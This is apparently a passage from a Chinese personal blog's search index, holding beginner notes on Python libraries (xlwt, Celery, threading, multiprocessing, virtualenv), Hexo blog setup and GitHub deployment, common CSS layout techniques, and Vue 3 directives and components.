\u0026ldquo;宋体\u0026rdquo;\n加粗 stylefont.bold = True\n字号 stylefont.height = 11*20\n字体颜色，注意不是RGB颜色，而是在xlwt内部定义的 stylefont.colour_index = 0x0A\nstyle.font = stylefont\n初始化Alignment align = xlwt.Alignment()\n水平对齐方式 align.vert = 0x01\n垂直对齐方式 align.horz = 0x00\n应用对齐方式 style.alignment = align\n水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐)\n垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐)\n初始化Borders borders = xlwt.Borders()\n指定边框样式 borders.right = xlwt.Borders.DASHED\n应用边框 style.borders = borders\ntop 上边框 bottom 下边框 left 左边框 right 右边框\nDOTTED 点线 DASHED 虚线\n初始化Pattern color = xlwt.Pattern()\n填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN\n填充黑色 color.pattern_fore_colour = 0\n应用 style.pattern = color\n应用style abc.write_merge(0,2,0,8,\u0026ldquo;hallo word\u0026rdquo;,style)\nxlrd和xlwt使用起来不是很好，而且xlwt模块不支持xlsx，因此不详细写，openpyxl才是王道\nCelery是一个基于Python开发的分布式任务调度模块\n安装\npip install celery[redis]\n如果需要redis消息中间件的话，也可以选择RabbitMQ\neasy_install是一个基于setuptools的工具，可以用来下载，编译，管理Python的包\n官网：http://peak.telecommunity.com/DevCenter/EasyInstall\n安装setuptools就会安装easy_install\npip install setuptools\n或者通过ez_setup.py来安装\nhttps://pypi.org/project/ez_setup/\n下载ez_setup.py的源程序\n安装easy_install： python ez_setup.py\n更新easy_install: python ez_setup.py –U setuptools\n安装包\neasy_install Virtualenv\n也可以通过url来安装\n将已经安装的到pypl上最新版本\neasy_install \u0026ndash;upgrade PyProtocols\n更新包\neasy_install \u0026ldquo;Virtualenv==x.x\u0026rdquo;\n或者要求版本大于某个版本：\neasy_install \u0026ldquo;Virtualenv\u0026gt;x.x\u0026rdquo;\n查找PyPI上的最新可用版本\neasy_install \u0026ndash;upgrade Virtualenv\n删除包\n只需要删除包名版本的.egg文件或者目录，如果不想继续使用删除的包，然后easy_install -mxN 包名\nPython内置多线程库threading\n进程是资源分配的最小单位，一个程序必须至少有一个进程，一个进程必须至少有一个线程\n线程是程序执行的最小单位，多线程是可以有效加速程序计算\n进程的资源独立（独立内存，地址空间等等），而线程是可以共享进程中的数据的（IPC），同一个进程下的线程，共享使用相同的地址空间（全局），但是也存在数据同步和互相排斥的问题\n导入threading模块\nimport threading\n查看全部正在运行的线程信息（不包括没启动或者已经终止的线程）\nthreading.enumerate()\n查看正在运行的线程的数量\nthreading.active_count()\n查看正在运行的线程信息\nthreading.current_thread()\n添加线程（需要接受target参数，该参数指向这个线程要完成的任务）\nthreading.Thread(target=xxx)\n启动线程\nthread.start()\n终止线程（会等待线程终止）\nthread.join()\n简单的例子：\nimport threading def funs(name,data): print(\u0026quot;hallo\u0026quot;,name,data) a1 = threading.Thread(target=funs, args = (\u0026quot;root\u0026quot;,666)) a1.start() a1.join() 执行后如果看到hallo root 666就说明已经执行线程成功了\n线程锁Lock\n同一进程下的线程是可以共享内存的，而Lock是保证多线程之间不会出现内存被乱改或者没有同步，多线程在执行修改内存后，进行lock.acquire()共享内存上锁，执行完毕在解锁lock.release()\nPython多进程库multiprocessing\nmultiprocessing库用法和threading类似，例如：\nimport multiprocessing def funs(name,data): print(\u0026ldquo;hallo\u0026rdquo;,name,data) if name==\u0026rsquo;main\u0026rsquo;: a1 = multiprocessing.Process(target=funs, args = (\u0026ldquo;root\u0026rdquo;,666)) a1.start() a1.join()\n进程池 Pool（进程池就是将需要完成的任务，放到该进程池中，由Python自己解决多进程问题）\n例如：\nimport multiprocessing def demo(x): return x+x def funs(): pool = multiprocessing.Pool() data = pool.map(demo, range(3)) print(\u0026quot;hallo\u0026quot;,data) if __name__=='__main__': funs() Pool自定义需调用核数量（默认为CPU的核数）\npool = multiprocessing.Pool(processes=4) 进程锁和线程锁用法一样，就不写了\n","permalink":"https://chenjunlinabc.github.io/posts/27/","summary":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.","title":"Python的一些神器的简单用法"},{"content":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像\n打开主题配置文件，修改avatar值设置成头像的链接地址\n可以是url，也可以站点内的地址\n设置 作者昵称\n打开站点配置文件，设置 author 为作者的昵称\n站点描述\n打开站点配置文件\n设置 description 字段为你的站点描述\n百度统计\n打开主题配置文件\n修改字段 baidu_analytics 字段，值设置成百度统计 id\n添加RSS功能\nnpm install hexo-generator-feed –save\n编辑主题配置文件，修改rss，rss: /atom.xml\n标签 页面\nhexo new page tags\ntype: \u0026ldquo;tags\u0026rdquo;\n分类 页面\nhexo new page categories\ntype: \u0026ldquo;categories\u0026rdquo;\n设置代码高亮主题\n打开主题配置文件\n修改highlight_theme\n可选的值有 normal，night， night blue， night bright， night eighties\n侧边栏社交链接\nsocial\n格式是 显示文本: 链接地址\nsocial_icons\n格式是 匹配键: Font Awesome 图标名称\n友情链接\n打开主题配置文件\nlinks\n404页面\n新建 404.html 页面，放到主题的 source 目录下\n推荐使用腾讯公益404页面\n站点建立时间\n打开主题配置文件，since\n来必力\n打开主题配置文件，livere_uid: LiveRe UID\nGoogle 分析\n打开主题配置文件， 修改字段 google_analytics， 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。\n腾讯分析\n打开主题配置文件 里将 ID 放置 tencent_analytics\nCNZZ 统计\n在主题配置文件中添加cnzz_siteid的配置项，值为 CNZZ 里面添加统计的站点ID\n百度分享\n打开主题配置文件 添加/修改字段 baidushare，值为 true\n搜索服务\n如何设置 阅读全文\n在文章中使用 手动进行截断，Hexo 提供的方式\n打开主题配置文件，添加： auto_excerpt: enable: true length: 150\n部署到Github git config \u0026ndash;global user.name \u0026ldquo;chenjunlinabc\u0026rdquo; git config \u0026ndash;global user.email \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\nssh-keygen -t rsa -C \u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;\n检查是否连接上github\nssh -T git@github.com\n设置deploy参数\n打开主题配置文件\ndeploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main\ngithub的分支默认为main\n安装一个插件 npm install hexo-deployer-git \u0026ndash;save\nhexo clean 清理缓存\nhexo g 进行渲染\n部署到git服务器，hexo d\n关于每次hexo d后，GitHub Pages自定义域名都会失效的解决方法\n在source目录下添加一个文件CNAME就好\n该文件放域名\n","permalink":"https://chenjunlinabc.github.io/posts/26/","summary":"hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦\napt install npm\nnpm install hexo-cli -g\nhexo init blog\ncd blog\nnpm install\nhexo server\n使用NexT\napt install git\ngit clone https://github.com/theme-next/hexo-theme-next.git\n把hexo-theme-next文件夹放到hexo根目录的themes文件夹下\n启动主题\n打开hexo目录下的_config.yml文件，这个文件为站点配置文件\n找到theme，修改值为hexo-theme-next\n调试模式\nhexo s \u0026ndash;debug 查看是否输出有错误，方便修改错误信息\n选择主题\n打开主题的根目录的_config.yml文件，这个文件是主题配置文件\n找到scheme，需要启动的在前面去掉#注释即可，不需要就加注释#\n设置 语言\n打开站点配置文件，修改language为需要的语言zh-CN\n修改菜单\n打开主题配置文件，找到menu，需要用到的菜单就去掉#，不需要就加#\nhome 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404\n修改对应的语言翻译\n主题目录下languages/zh-CN.yml\n设定菜单项的图标，可以使用的是Font Awesome 图标\n设置 侧栏\n打开主题配置文件\n修改sidebar.position的值\nleft - 靠左放置 right - 靠右放置\n设置 头像","title":"简单搭建一个hexo博客"},{"content":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform\n#app{ position: relative; } .child{ position: absolute; top: 50%; transform: translateY(-50%); } 优点：父元素是否脱离正常流，也是不影响子元素的垂直居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n水平垂直居中：水平方向居中，也要垂直方向居中\ntable+margin（水平），table-cell+vertical-algin（垂直）\nabsolute+transform\n#app{ position: relative; } .child{ position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); } 多列布局（两列布局+三列布局+CSS3 多列布局）\n两列布局：其中有一列是确定宽度，而另外一列则是自动填满（指定宽于自适应）\nfloat+margin\n.left{ width: 100px; float: left; } .right{ margin-left: 100px; } 优点：简单\n缺点：自适应元素的margin属性值要和定宽元素的width属性值保持一致\n或者给定宽元素position: relative，自适应元素给float: right和width: 100%,margin-left: -100px\nfloat+overflow\n.left{ width: 100px; float: left; } .right{ overflow: hidden; } 优点：简单\n缺点：overflow属性会导致内容溢出（BFC）\ndisplay：table\n#app{ display: table; table-layout: fixed; } .left{ width: 100px; } .left,.right{ display: table-cell; } 优点：浏览器兼容性好\n缺点：父元素的display属性设置为table，会受到制约\n三列布局：三列，有两列是确定宽度，另外一列自动填满（指定宽于自适应），一般中间那一列是内容区\n效果实现和二列一样\n圣杯布局\n头部和底部都占页面100%宽度，高度固定，中间区域是一个三栏布局，三栏布局两侧宽度确定，中间部分自动填充（一般中间那是内容区）\n中间部分一般是三栏中最高的（因为是内容区）\nfloat\n头部和底部填满宽度，三列设置浮动和相对定位，中间部分的放在前面\n三列设置overflow: hidden和padding-left（值为left的宽度），padding-right（值为right的宽度）\nleft栏设置margin-left: -100%,就返回到左侧了，然后left，值为负的left高度\nright栏right，值为负的right高度，margin-left，值为负的right高度\n例如：\n\u0026lt;style\u0026gt; header{ max-width: 100%; height: 100px; background-color: aqua; text-align: center; } footer{ max-width: 100%; height: 100px; background-color: aquamarine; text-align: center; } main{ overflow: hidden; padding-left: 20%; padding-right: 20%; } main div{ float: left; position: relative; text-align: center; } .center{ width: 100%; height: 600px; background-color: blue; } .left{ height: 300px; width: 100px; background-color: azure; margin-left: -100%; left: -100px; } .right{ height: 300px; width: 100px; background-color: bisque; right: -100px; margin-left: -100px; } \u0026lt;/style\u0026gt; \u0026lt;header\u0026gt; 头部 \u0026lt;/header\u0026gt; \u0026lt;main\u0026gt; \u0026lt;div class=\u0026quot;center\u0026quot;\u0026gt; 中间 \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt; 左 \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt; 右 \u0026lt;/div\u0026gt; \u0026lt;/main\u0026gt; \u0026lt;footer\u0026gt; 底部 \u0026lt;/footer\u0026gt; flex\n用flex弹性盒子比较简单一点，只需要给三列设置flex，按照左中右排列，中间部分设置flex: 1;\n优点：简单，不需要设置dom\n缺点：（flex）浏览器兼容性比较差\n双飞翼布局\n双飞翼布局和圣杯布局效果和要求类似，侧边宽度确定，中间自适应，不同的是，圣杯布局是在父元素设置内边距，两侧通过定位和浮动来插入到中间，而双飞翼布局是直接设置一个dom来放置三列\n三列设置左浮动，中间设置宽度为100%，left设置外边距为负100%，right设置外边距为其本身宽度，中间设置外边距为两侧腾出位置，值为left和right的宽度\n例如：\n\u0026lt;style\u0026gt; header{ max-width: 100%; height: 100px; background-color: aqua; text-align: center; } footer{ max-width: 100%; height: 100px; background-color: aquamarine; text-align: center; } main{ text-align: center; overflow: hidden; } .center{ width: 100%; height: 600px; background-color: blue; float: left; } .center div{ margin: 0 100px 0 100px; } .left{ height: 300px; width: 100px; background-color: azure; float: left; margin-left: -100%; } .right{ height: 300px; width: 100px; background-color: bisque; float: left; margin-left: -100px; } \u0026lt;/style\u0026gt; \u0026lt;header\u0026gt; 头部 \u0026lt;/header\u0026gt; \u0026lt;main\u0026gt; \u0026lt;div class=\u0026quot;center\u0026quot;\u0026gt; \u0026lt;div\u0026gt; 中间 \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;left\u0026quot;\u0026gt; 左 \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026quot;right\u0026quot;\u0026gt; 右 \u0026lt;/div\u0026gt; \u0026lt;/main\u0026gt; \u0026lt;footer\u0026gt; 底部 \u0026lt;/footer\u0026gt; 其他布局\n等分布局：子元素平均分配父元素的宽度\n等高布局：子元素在父元素中高度相等\n全屏布局：一般是一个顶部，一个底部，中间是两栏（一个侧边栏，一个主栏）\n侧边栏一般为确定宽度的，主栏为自适应，顶部和底部是占页面100%宽度，一般会设置外边距来分开\n吕形布局：就是页面分为两个容器，一般第一个容器是导航栏，第二个容器是内容区，常见于移动端布局\n九宫格布局\n","permalink":"https://chenjunlinabc.github.io/posts/24/","summary":"居中布局\n分水平居中和垂直居中，水平+垂直居中\n水平居中：当前元素在父级元素容器中，水平方向是居中显示的\ninline-block+text-algin\n#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）\n缺点：text-align具有继承性，会导致子元素的文本也是居中的\ntable+margin\n.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果\n缺点：如果子元素脱离正常流，将会导致margin属性的值无效化\nabsolute+transform\n#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果\n缺点：transform属性是css3的新属性，浏览器兼容性比较差\n垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的\ntable-cell+vertical-algin\n#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好\n缺点：vertical-align属性具有继承性\nabsolute+transform","title":"css常见布局"},{"content":"vuejs的核心层就是只关心视图层的，本笔记使用的是最新版本的vue3\nvue全家桶：Vue+VueRouter+Vuex\nvue名字来源于法语（中文翻译为视图），可以看出其对视图层的重视\n导入一般都是使用cdn导入或者直接下载vuejs进行托管，也可以使用npm安装或者使用官方的CLI来构建一个应用\nhttps://unpkg.com/vue@next\ncjs版本：完整版，包含编译器\nprod.js都是开发版，代码进行了压缩\nglobal版本：可以直接通过scripts标签导入，会建立一个全局Vue对象\nbrowser版本：包含esm,浏览器模块\nbundler版本：该版本不是完整版，min\nvuejs模板支持所有JavaScript表达式\nvuejs本身是用声明式渲染把数据渲染到html dom中，渲染格式为{{\u0026hellip;}}，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;p\u0026gt;{{ hallovuejs }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { hallovuejs: \u0026quot;hallo vuejs!\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; vue本身携带了一些指令，主要特征就是带有v-前缀，用来渲染html dom上的一些行为，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;a v-bind:href=\u0026quot;url\u0026quot;\u0026gt;{{ main }}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { url:\u0026quot;https://xiaochenabc123.test.com\u0026quot;, main: \u0026quot;小陈的辣鸡屋\u0026quot; } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 这个v-bind:href，就是将a标签的href属性绑定，v-bind可以绑定任何属性，例如class属性等等，因此可以在视图层留下一些接口指令，让vuejs来响应式渲染出视图\n而vue还提供了可以绑定事件的v-on属性，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;button v-on:click=\u0026quot;go\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;hallo\u0026quot; } }, methods: { go: function(){ console.log(\u0026quot;hallo vuejs\u0026quot;); } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-on可以绑定多个事件，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;button @click=\u0026quot;goclick\u0026quot;@dblclick=\u0026quot;yesclick\u0026quot;\u0026gt;{{ main }}\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;hallo\u0026quot; } }, methods: { goclick:function(event){ console.log(\u0026quot;hallo vuejs\u0026quot;) console.log(event.target) // event.target可以获取到触发该事件的dom元素 }, yesclick:function(){ console.log(\u0026quot;hallo word\u0026quot;) } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-model可以进行数据的双向绑定，不但可以赋予元素中的数据，也可以获取元素中的数据，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;input v-model=\u0026quot;main\u0026quot;\u0026gt;{{ main }}\u0026lt;/input\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;hallo\u0026quot; } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-show可以根据表达式的值来判断是否显示，方法和v-if一样，但是隐藏的方法是加上了display: none;，v-show不支持template和v-else，如果没有频繁切换的需求可选择v-if，频繁切换会重新渲染情况严重，而且v-show只是修改css属性而已\nv-if可以进行条件判断，会根据表达式的值来判断，例如\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;span v-if=\u0026quot;yes_no\u0026quot;\u0026gt;{{ main }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { yes_no: true, main: \u0026quot;hallo\u0026quot; } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 当值为false时，该元素就会被隐藏\nv-else 该指令必须跟着v-if或者v-else-if指令的元素的后面，否则不会被识别，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;span v-if=\u0026quot;yes_no\u0026quot;\u0026gt;{{ main }}\u0026lt;/span\u0026gt; \u0026lt;span v-else\u0026gt;这是v-if判断为假时渲染，v-if判断为真时不渲染\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { yes_no: false, main: \u0026quot;hallo\u0026quot; } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-else-if，必须前面的元素中有v-if或者v-else-if指令，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;span v-if=\u0026quot;yes_no == 'yes'\u0026quot;\u0026gt;yes_no == yes\u0026lt;/span\u0026gt; \u0026lt;span v-else-if=\u0026quot;yes_no == 'no'\u0026quot;\u0026gt;yes_no == no\u0026lt;/span\u0026gt; \u0026lt;span v-else\u0026gt;yes_no != no||yes\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { yes_no: \u0026quot;yes\u0026quot;, yes: \u0026quot;yes\u0026quot;, no: \u0026quot;no\u0026quot;, main: \u0026quot;hallo\u0026quot; } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-for可以多次渲染元素，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026quot;a in arr\u0026quot;\u0026gt; {{a}} \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { arr:[ \u0026quot;hallo\u0026quot;, \u0026quot;abc\u0026quot;, \u0026quot;xyz\u0026quot;, \u0026quot;yes\u0026quot;, \u0026quot;no\u0026quot; ] } } } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 注意：当v-for和v-if出现在同级时，v-for优先级比v-if高，因此不要在v-for下，使用v-if过滤，应该在v-if下使用v-for，v-if应该使用\u0026lt;template\u0026gt;（\u0026lt;template\u0026gt;不会创建dom元素）\nv-html可以插入html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;span v-html=\u0026quot;main\u0026quot;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const hallo ={ data() { return { main: \u0026quot;\u0026lt;p\u0026gt;hallo word\u0026lt;/p\u0026gt;\u0026quot; } }, } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; v-once表示该元素或者组件只渲染一次，后面不会因为数据的改变而重新渲染\n动态参数的实现\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;/div\u0026gt; const hallo = { data() { return { main: \u0026quot;hallo\u0026quot;, abc: \u0026quot;classa\u0026quot; } }, template: `\u0026lt;h1 :[abc] = \u0026quot;main\u0026quot;\u0026gt;hallo word\u0026lt;/h1\u0026gt;` } Vue.createApp(hallo).mount(\u0026quot;#app\u0026quot;) vuejs提供了一个叫组件的概念，将重复的程序进行封装，用这些被封装的组件来构建大型应用，可以理解为积木\n根组件：挂载应用时，该组件被认为是渲染的起点\n如果想挂载一个应用到id为app的dom元素中，那么就需要挂载#app，通过一个vue实例，调用其component()方法，创建一个组件\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;hallo v-for=\u0026quot;item in groceryList\u0026quot; v-bind:todo=\u0026quot;item\u0026quot; v-bind:key=\u0026quot;item.id\u0026quot;\u0026gt;\u0026lt;/hallo\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const main ={ data(){ return{ groceryList: [ {id:0,text:\u0026quot;abc\u0026quot;}, {id:1,text:\u0026quot;xyz\u0026quot;}, {id:2,text:\u0026quot;hallo\u0026quot;} ] } } } const app = Vue.createApp(main) app.component(\u0026quot;hallo\u0026quot;,{ props: [\u0026quot;todo\u0026quot;], template: `\u0026lt;h1\u0026gt;{{todo.text}}\u0026lt;h1\u0026gt;` }) app.mount(\u0026quot;#app\u0026quot;) \u0026lt;/script\u0026gt; 上面简单说明了一下组件的概念,下面详细说明一下组件和组件实例\n页面是这些组件的容器，因此，组件在页面中表达出来的是原生html\n模板（template）：模板定义了数据和html dom的绑定关系\n初始数据（data）：组件的初始数据，组件具有作用域，因此是处于封装私有状态的\n接收的外部参数（props）：组件之间通过该参数进行数据的传递和分享(单向，只能从父组件中获取，不能进行修改,父传子)\n方法（methods）：对数据的改动一般都在组件的方法内进行操作，通过v-on指令把输入事件和组件方法进行绑定\n生命周期钩子（lifecycle hooks）：每个实例都会触发多个生命周期钩子，从创建到废弃的过程就是生命周期，可以在不同时候进行逻辑处理，另外还有组件生命周期\n组件：一种对数据和方法的封装\nmount()返回的是组件实例\n组件实例：组件继承于组件，通过createApp()建立组件实例\n当需要进行数据计算处理时，例如将两个数据合并，如果通过正常的表达式来表示，那么一旦数据处理复杂了，程序会显得很繁杂，vuejs中提供了一个叫计算属性的东西，例如：\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; {{hallo}} \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; Vue.createApp({ data() { return { yes:{ main: \u0026quot;abc\u0026quot; } } }, computed: { hallo() { return \u0026quot;hallo\u0026quot;+\u0026quot; \u0026quot;+this.yes.main } } }).mount('#app') \u0026lt;/script\u0026gt; 样式绑定\n\u0026lt;style\u0026gt; .abc{ width: 100px; height: 100px; background-color: #ccc; } \u0026lt;/style\u0026gt; \u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; const app = Vue.createApp({ data() { return { classdata: \u0026quot;abc\u0026quot; } }, template: ` \u0026lt;div :class = \u0026quot;classdata\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt; ` }) app.mount('#app') \u0026lt;/script\u0026gt; 组件是可重复使用的实例，例如：\n\u0026lt;div class=\u0026quot;app\u0026quot;\u0026gt; \u0026lt;test\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;test\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;/div\u0026gt; const app = Vue.createApp({}) app.component(\u0026quot;test\u0026quot;,{ data() { return { abc: \u0026quot;hallo\u0026quot; } }, template: ` \u0026lt;div\u0026gt; {{abc}} word \u0026lt;/div\u0026gt;` }) app.mount(\u0026quot;#app\u0026quot;) 全局组件\n一般来说组件的数据是独享的，只有全局组件才能进行数据访问，例如：\nconst app = Vue.createApp({ template: ` \u0026lt;div\u0026gt; \u0026lt;test\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;abc\u0026gt;\u0026lt;abc\u0026gt; \u0026lt;/div\u0026gt; ` // 父组件 }) app.component(\u0026quot;test\u0026quot;,{ template: `\u0026lt;abc\u0026gt;\u0026lt;abc\u0026gt;` // 全局组件 }) app.component(\u0026quot;abc\u0026quot;,{ data() { return { text: \u0026quot;hallo word\u0026quot; } }, template: ` \u0026lt;div\u0026gt;{{text}}\u0026lt;/div\u0026gt; ` // 全局组件 }) app.mount('#app') abc组件分享了数据给test组件\n局部组件\n\u0026lt;test\u0026gt;\u0026lt;/test\u0026gt; \u0026lt;Test_datea\u0026gt;\u0026lt;/Test_datea\u0026gt; const Test_date ={ template: \u0026quot;\u0026lt;p\u0026gt;hallo word\u0026lt;/p\u0026gt;\u0026quot; // 局部组件 } const Test_datea ={ template: \u0026quot;\u0026lt;p\u0026gt;hallo 